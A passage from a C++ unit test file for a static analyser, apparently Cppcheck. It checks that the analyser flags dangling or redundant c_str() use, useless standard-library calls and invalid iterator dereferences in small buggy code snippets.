{\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 